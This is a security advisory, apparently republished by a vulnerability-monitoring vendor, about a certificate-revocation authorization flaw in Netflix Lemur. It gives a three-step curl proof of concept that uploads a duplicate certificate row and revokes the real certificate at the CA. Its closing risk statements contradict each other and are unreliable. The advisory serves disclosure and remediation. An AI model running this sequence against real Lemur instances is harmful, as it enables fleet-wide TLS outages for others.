Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-pxmc-2ffp-8j67
Summary
Repo under test: https://github.com/Netflix/lemur
PUT /api/1/certificates/<id>/revoke authorizes the caller against the Lemur database row (creator == current user, or CertificatePermission over the row's roles) rather than the underlying CA-side certificate identity. Separately, POST /api/1/certificates/upload lets any user passing StrictRolePermission create a new Certificate row while freely supplying body, authority (resolved by id/name with no AuthorityPermission check) and external_id; there is no uniqueness constraint on body, serial, or external_id.
An attacker can therefore read a target certificate's public body, authority.id, and external_id via GET /certificates/<id>, upload a duplicate row, and revoke that duplicate. The creator-bypass skips CertificatePermission, the empty-endpoints check passes because the duplicate has none, and service.revoke() then revokes at the CA using the attacker-supplied body (ACME) or external_id (DigiCert/Entrust/Google CA/CFSSL) under the authority's stored CA credentials — revoking the real production certificate.
Affected route
POST /api/1/certificates/upload → PUT /api/1/certificates/<dup_id>/revoke
Affected code
lemur/certificates/views.py:651— onlyStrictRolePermission().can()gates upload; noAuthorityPermissionchecklemur/certificates/schemas.py:391—CertificateUploadInputSchemaaccepts caller-suppliedauthorityandexternal_idlemur/schemas.py:107—AssociatedAuthoritySchemaresolves any authority by id/name with no permission checklemur/certificates/service.py:489—upload()binds the caller-supplied authority onto the new rowlemur/certificates/models.py:119— onlynameis unique;body/serial/external_idare not, andget_or_increase_name()auto-suffixes on collisionlemur/certificates/views.py:1677—if g.current_user != cert.user: ... CertificatePermission ...— creator of the duplicate row bypasses the owner checklemur/certificates/views.py:1687—if cert.endpoints: ...— duplicate row has no endpoints, so the deployed-cert safeguard is bypassedlemur/certificates/service.py:1120—plugin = plugins.get(certificate.authority.plugin_name); plugin.revoke_certificate(certificate, reason)lemur/plugins/lemur_acme/acme_handlers.py:268— ACME revokes bycertificate.bodylemur/plugins/lemur_digicert/plugin.py:477,lemur/plugins/lemur_entrust/plugin.py:321— commercial CAs revoke bycertificate.external_idlemur/certificates/schemas.py:290—CertificateOutputSchemaexposesexternal_id,body,authorityto any authenticated user
Impact
A low-privileged authenticated insider (or holder of a stolen non-admin token/API key) can revoke any certificate managed by Lemur — including high-value certificates they do not own and certificates currently attached to live endpoints — directly at the issuing CA. Iterating over GET /certificates yields fleet-wide revocation (mass DoS of TLS endpoints) without ever passing an AuthorityPermission or CertificatePermission check on the victim certificate. This is exactly the "Revocation as DoS vector" scenario flagged in the threat model and additionally defeats the built-in "cannot revoke while attached to endpoint" safeguard.
Root cause
Revocation authority is bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allows creating a second row that aliases the same CA-side certificate (same body / external_id / authority) without any uniqueness constraint or AuthorityPermission check, the attacker can manufacture a row they own and then exercise the creator-bypass on revoke. The endpoint-attached guard inspects only the duplicate row's cert.endpoints, which is empty.
Validated evidence
Static path trace, confirmed by code inspection (validation status: CONFIRMED):
- Upload is gated only by
StrictRolePermission(default-open to any non-read-only user) and accepts attacker-chosenauthority+external_id+bodywithout anAuthorityPermissioncheck. Certificate.body/external_idhave no uniqueness constraint, so a duplicate row is created.- The revoke endpoint short-circuits the owner check when caller is the row creator, and the endpoint-attached guard inspects only the duplicate row.
- Issuer plugins revoke at the CA using
body/external_idtaken from the duplicate row under the authority's stored CA credentials.
Proof of concept / reproducer
Status: reconstructed from source report (static control-flow trace; not executed against a live CA — revoking at a real CA is destructive).
Preconditions: attacker is an authenticated Lemur user holding any role other than read-only. <VICTIM_CERT_ID> is any certificate id readable via GET /api/1/certificates.
# 1. Read the victim's body / authority / external_id (exposed to any authenticated user)
curl -sS "<TARGET_BASE_URL>/api/1/certificates/<VICTIM_CERT_ID>" \
-H "Authorization: Bearer <AUTH_TOKEN>" \
| jq '{body, external_id, authority: .authority.id}'
# 2. Upload a duplicate row aliasing the same CA-side certificate
curl -sS -X POST "<TARGET_BASE_URL>/api/1/certificates/upload" \
-H "Authorization: Bearer <AUTH_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "victim-dup",
"owner": "attacker@example.com",
"body": "<VICTIM_BODY_PEM>",
"authority": {"id": <VICTIM_AUTHORITY_ID>},
"externalId": "<VICTIM_EXTERNAL_ID>"
}'
# → returns {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>
# 3. Revoke the duplicate — issuer plugin revokes at the CA by body/external_id
curl -sS -X PUT "<TARGET_BASE_URL>/api/1/certificates/<DUP_ID>/revoke" \
-H "Authorization: Bearer <AUTH_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"crlReason": "unspecified"}'
Static-trace validation command from the source report:
grep -n 'StrictRolePermission' lemur/certificates/views.py | grep -v Authority
grep -n 'cert.authority = kwargs.get' lemur/certificates/service.py
grep -n 'g.current_user != cert.user' lemur/certificates/views.py
grep -n 'certificate.external_id\|certificate.body' \
lemur/plugins/lemur_acme/acme_handlers.py \
lemur/plugins/lemur_digicert/plugin.py \
lemur/plugins/lemur_entrust/plugin.py
Source artifact: audit/harnesses/public-repo-threat-model-harness/results/netflix-lemur-100run-mythos-20260627T051129Z/findings.jsonl (run_050, finding cluster lemur-revoke-via-duplicate, 2/100 runs).
Suggested fix
Decouple CA-side revocation authority from Lemur row ownership:
- On
POST /certificates/upload, ifauthorityis supplied enforceAuthorityPermissionfor that authority, and reject/ignore caller-suppliedexternal_id. - Before calling
plugin.revoke_certificate, look up allCertificaterows sharing the same(authority_id, serial)orbodyand requireCertificatePermissionon every match (and run the endpoint-attached check against all matches). - Consider a DB uniqueness constraint or dedup on
(authority_id, serial)so a second row for the same CA-issued certificate cannot be created. - Stop exposing
external_idinCertificateOutputSchemato non-owners.
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard